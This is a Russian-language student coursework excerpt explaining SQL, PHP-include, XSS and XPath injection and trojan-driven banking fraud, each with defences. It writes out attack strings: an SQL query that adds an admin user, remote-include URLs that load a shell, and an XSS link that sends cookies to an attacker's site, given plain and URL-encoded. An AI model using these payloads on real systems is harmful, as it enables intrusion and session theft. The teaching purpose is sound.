Файл: Анализ технологий совершения компьютерных преступлений (Кто такие хакеры).pdf

ВУЗ: Не указан

Категория: Курсовая работа

Дисциплина: Не указана

Добавлен: 18.06.2023

Просмотров: 67

Скачиваний: 3

ВНИМАНИЕ! Если данный файл нарушает Ваши авторские права, то обязательно сообщите нам.

2.6 Инъекция кода

Инъекции это класс атак, внедряющий злонамеренный код или параметры в веб приложение для запуска их вне контекста безопасности.

2.6.1 SQL-инъекции

Внедрение SQL-кода (англ. SQL injection) - один из самых распространенных способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода, рассмотрим его подробнее. Внедрение SQL в зависимости от типа используемой СУБД и условий внедрения может дать возможность атакующему выполнить произвольный запрос к базе данных (например, прочитать содержимое любых таблиц, удалить, изменить или добавить данные), получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере. Атака тина внедрения SQL может быть возможна из-за некорректной обработки входных данных, используемых в SQL-запросах. Разработчик прикладных программ, работающих с базами данных, должен знать о таких уязвимостях и принимать меры противодействия внедрению SQL.

Благодаря отсутствию проверки пользовательского ввода и соединению с базой данных под учетной записью суперпользователя (или любого другого пользователя, наделенного соответствующими привилегиями), взломщик может создать еще одного пользователя БД с правами суперпользователя.

Например, если в параметры скрипта

<?

$id = $_REQUEST['id'];

$res = mysql_query("SELECT * FROM news WHERE id_news = $id");

?>

злоумышленником передается конструкция, содержащая точку с запятой, например

12;INSERT INTO admin (username, password) VALUES ('HaCkEr', 'foo');

то в одном запросе будут выполнены 2 команды

SELECT * FROM news WHERE id_news = 12;

INSERT INTO admin (username, password) VALUES ('HaCkEr', 'foo');

и в таблицу admin будет несанкционированно добавлена запись HaCkEr.

Хотя по-прежнему очевидно, что взломщик должен обладать по крайней мере некоторыми знаниями о структуре базы данных чтобы провести успешную атаку, получить эту информацию зачастую очень просто. Например, если база данных является частью open-source или другого публично доступного программного пакета с инсталляцией по умолчанию, эта информация является полностью открытой и доступной. К другим методам относится использование распространенных (легко угадываемых) названий таблиц и столбцов. Например, форма логина, которая использует таблицу 'users' c названиями столбцов 'id', 'username' и 'password'.

Большинство успешных атак основывается на коде, написанном без учета соответствующих требований безопасности. Нельзя доверять вводимым данным, особенно если они поступают со стороны клиента, даже если это записи в форме, скрытые поля или cookie.


Для большей безопасности нужно пользоваться доступом не суперпользователя, а специально созданных пользователей с максимально ограниченными правами. Подготовленные выражения с привязанными переменными помогут защитится от атаки. Эту возможность предоставляют расширения PDO, MySQLi и другие библиотеки. Данные защитит проверка данных на соответствие ожидаемого типа. В PHP есть множество функций для проверки данных: начиная от простейших функций для работы с переменными и функций определения типа символов (таких как is_numeric() и ctype_digit() соответственно) и заканчивая Perl-совместимыми регулярными выражениями. В случае, если приложение ожидает цифровой ввод, применяется функция ctype_digit() для проверки введенных данных, или принудительно указывается их тип при помощи settype(), или просто используется числовое представление при помощи функции sprintf(). Если на уровне базы данных не поддерживаются привязанные переменные, то нужно экранировать любые нечисловые данные, используемый в запросах к БД при помощи специальных экранирующих функций, специфичных для используемой вами базы данных (например, mysql_real_escape_string(), sqlite_escape_string() и т.д.). Общие функции такие как addslashes() полезны только в определенных случаях, поэтому лучше избегать их использование.

2.6.2 PHP-инъекция

PHP-инъекция - один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне

Проблема всегда актуальна, потому что связана с целью внедрения своего кода (вирусы, ссылки, баннеры), хищением информации, шпионажа, а так же причиной взлома может быть недобросовестная конкуренция и спортивный интерес.

Потенциально опасные функции: include() include_once() require() require_once() eval() create_function() preg_replace() passthru(), system(), exec(),...

Инъекции могут быть глобальными и локальными, и передаются с помощью GET, POST и Header-запросов, а также Cookie и files

Глобальная инъекция задействует сторонний сервер, а локальная - инъекция кода, находящегося на текущем сервере:

<?php

if($_GET['id'])

include($_GET['id']);

?>

Пример использования:

http://[site]/main.php?id=1.php

http://[site]/main.php?id=http://[anothersite]/shell.php

http://[site]/main.php?id=http://[anothersite]/shell.php&command=shutdown%20-s

http://[site]/main.php?id=[path_to_file]

Существует несколько способов защиты от такой атаки:

Проверять, не содержит ли переменная посторонние символы:

<?

$module = $_GET['module'];

if (strpbrk($module, '.?/:')) die('Blocked');

include $module. '.php';

?>

Проверять, что $module присвоено одно из допустимых значений:

<?

$module = $_GET['module'];


$arr = array('main', 'about', 'links', 'forum');

if (!in_array($module,$arr)) $module = $arr[0];

include $module . '.php';

?>

Использовать оператор switch:

<?

$module = $_GET['module'];

switch($module){

case 'main': include 'main.php'; break;

case 'about': include 'about.php'; break;

case 'links': include 'links.php'; break;

case 'forum': include 'forum.php'; break;

default: include 'main.php';

}

?>

Для автоматического обнаружения уязвимости можно использовать такие программы, как Acunetix, RATS, RPVS

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путём изменения значения опции allow_url_fopen на Off в файле конфигурации сервера php.ini.

2.6.3 Межсайтовый скриптинг

Межсайтовый скриптинг (XSS, Cross-Site Scripting) основан на уязвимости, связанной с отсутствием фильтрации вводимых пользователей данных. Это позволяет запускать скрипты JavaScript, которые будутт выполняться каждый раз при загрузке страницы или при определенном событии.

Типичный пример XSS: злоумышленник внедряет скрипт в URL существующего интернет-магазина, который, в свою очередь, перенаправляет пользователя на поддельную, но идентичную страницу. На ней выполняется скрипт, который перехватывает значение cookie пользователя, просматривающего сайт интернет-магазина. Затем cookie отсылается злоумышленнику, который использует его для перехвата сессии пользователя. Хотя сайт магазина и не подвергается хакерской атаке, злоумышленник использует уязвимое место скрипта для того, чтобы обмануть пользователя и получить контроль над его сессией. Можно сделать поддельный URL менее заметным, закодировав XSS-часть URL в HEX, или с помощью другого метода кодировки. Это не вызовет подозрения у пользователя, который видит знакомый URL и, как правило, не обращает внимания на последующую закодированную часть.

Пример. Вставляя в формы ввода следующий код, можно найти уязвимость xss. Если вышло сообщение значит скрипт обработался и выполнился.

<script>alert()</script>

Затем если сделать ссылку со скриптом, который крадет документы cookie и зашифровав её, отправить её администратору или пользователю сайта, то можно получить соответствующий доступ на сайт:

http://сайтнакоторомxss.ru/free?p='><script>img=newImage();img.src="http://сайтхакера.org/картинка.gif?"+document.cookie;"+document.cookie;</script>

Закодированная ссылка:

http://сайтнакоторомxss.ru/free?p=%27%3E%3Cscript%3Eimg%3DnewImage%28%29%3Bimg.src%3D%22http%3A%2F%2F%D1%81%D0%B0%D0%B9%D1%82%D1%85%D0%B0%D0%BA%D0%B5%D1%80%D0%B0.org%2F%D0%BA%D0%B0%D1%80%D1%82%D0%B8%D0%BD%D0%BA%D0%B0.gif%3F%22%2Bdocument.cookie%3B%22%2Bdocument.cookie%3B%3C%2Fscript%3E

Так же можно вставить простую форму для регистрации и зарегистрировать суперпользователя.


Анализ различных XSS-атак свидетельствует о том, что, несмотря на постоянное развитие интернет-технологий, безопасность приложений остается на прежнем уровне. Проведя тщательный поиск, можно найти много историй о том, как сайты крупных корпораций были взломаны с использованием XSS-атак; в отчетах последствия таких атак всегда описываются как крайне серьезные.

XSS-атаки обычно используются для кража аккаунта, получения доступа к защищенным или конфиденциальным данным, слежения за посещением сайтов пользователем, вреда и публичной клеветы в адрес отдельного лица или корпорации.

Как же уберечься от XSS-атак? В РНР есть две функции, которые могут помочь делу: strip_tags() — удаляет из строки все HTML-теги, кроме разрешенных и HtmlSpecialChars() — заменяет все специальные символы на их HTML- эквиваленты.

Для начала удаляются все HTML-теги, а затем пропустить полученные извне данные через функцию HtmlSpecialChars() — для надежности:

$name = strip_tags($name);

$name = HtmlSpecialChars($name);

2.6.4 XPath инъекция

XPath инъекция - атака направленная на приложения, создающие XPath (XML Path Language) запросы от пользовательских данных.

Язык XPath разработан для возможности обращения к разным частям документа на языке XML. Синтаксис XPath схож с языком запросов SQL для баз данных. Различия - это использование XML - дерева в XPath вместо табличных данных SQL и универсальность языка XPath против различных реализаций SQL.Еще одним различием является отсутствие разграничений в XPath и разграничения прав доступа к БД в SQL.

Аналогично SQL injection, XPath уязвим для инъекций, при недостаточной фильтрации и валидации данных входящих запросов.

Пример эксплуатации XPath инъекции:

Часть кода XML базы данных: base.xml

<orders>

<customer id="1">

<name>Петр Иванов</name>

<email>petr.ivanov@email.ru</email>

<creditcard>12341234123451234</creditcard>

<order>

<item>

<quantity>1</quantity>

<price>20.00</price>

<name>something</name>

</item>

<item>

<quantity>2</quantity>

<price>10.00</price>

<name>anything</name>

</item>

</order>

</customer>

...

</orders>

XPath запрос для поиска товара по цене:

string query = "/orders/customer[@id='" + customerId + "']/order/item[price >= '" + priceFilter + "']";

XPath инъекция:

'] | /* | /foo[bar='

Измененный в результате эксплуатации XPath инъекции запрос:

string query = "/orders/customer[@id=''] | /* | /foo[bar='']/order/item[price >= '" + priceFilter + "']";

Результат:

Получение файла базы данных base.xml

XPath injection работоспособна из-за отсутствия фильтрации данных параметров priceFilter и customerId.

Возможность эксплуатации XPath injection - это очень серьезная угроза для безопасности сайта.


Защититься от XPath injection также просто как и от обычных SQL-инъекций. Достаточно проверять все входящие данные от пользователей на предмет их соответствия выражению. Например, если это номер кредитки, то достаточно будет только цифр. Используя регулярные выражения и параметризованные запросы, можно полностью избежать подобных уязвимостей.

2.7 Автозалив

Атака изнутри компьютера «жертвы» - схема, которая представляет собой обобщённое решение для обхода всех дополнительных средств защиты транзакций, а также для атаки на неизвестные и малораспространённые системы банкинга. Атака сводится к установлению терминального соединения с компьютером жертвы и проведению ложных транзакций атакующим вручную, без отображения его действий на экране пользователя.

В качестве платформы для реализации этой схемы часто используется троян Zeus (Zbot), для которого за дополнительную плату доступен модуль удалённого доступа по протоколу VNC. При этом, если адрес целевого компьютера недоступен из интернета, троянская программа может обеспечить обратный канал связи для доступа атакующего.

«Автозалив» подразумевает собой автоматизацию этой схемы. Автоматизация осуществляется преимущественно для систем на основе технологии «тонкий клиент», так как в этом случае задача сводится к модификации данных HTML-страниц и HTTP-запросов и, таким образом, может быть компактно описана в файле конфигурации и передана троянской программе.

При реализации данной схемы троянская программа формирует новую транзакцию или модифицирует легитимную с целью перевода средств со счёта заражённой жертвы на счёт атакующего. Трафик пользователя модифицируется «на лету» незаметно для него.

Пассивный автозалив осуществляется путём автоматизированной подмены заданных параметров — таких как значения полей размера платежа и реквизитов получателя — в коде веб-страницы в момент проведения пользователем легитимной транзакции. При активном автозаливе троян осуществляет все необходимые манипуляции — от заполнения данных форм и до имитации нажатия кнопок — самостоятельно.

Для борьбы с этой уязвимостью многие передовые провайдеры предлагают схожие решения, они называются по разному (подпись данных, CWYS (Confirm What You See), но имеют схожую реализацию. Основной смысл заключается в том, что одноразовый пароль генерируется не только на основании секретного ключа, времени или счетчика, а с использованием всех ключевых данных транзакции, таких как сумма, валюта, получатель. В случае даже, если злоумышленник перехватит пароль, использовать для своих зловредных нужд он его не сможет.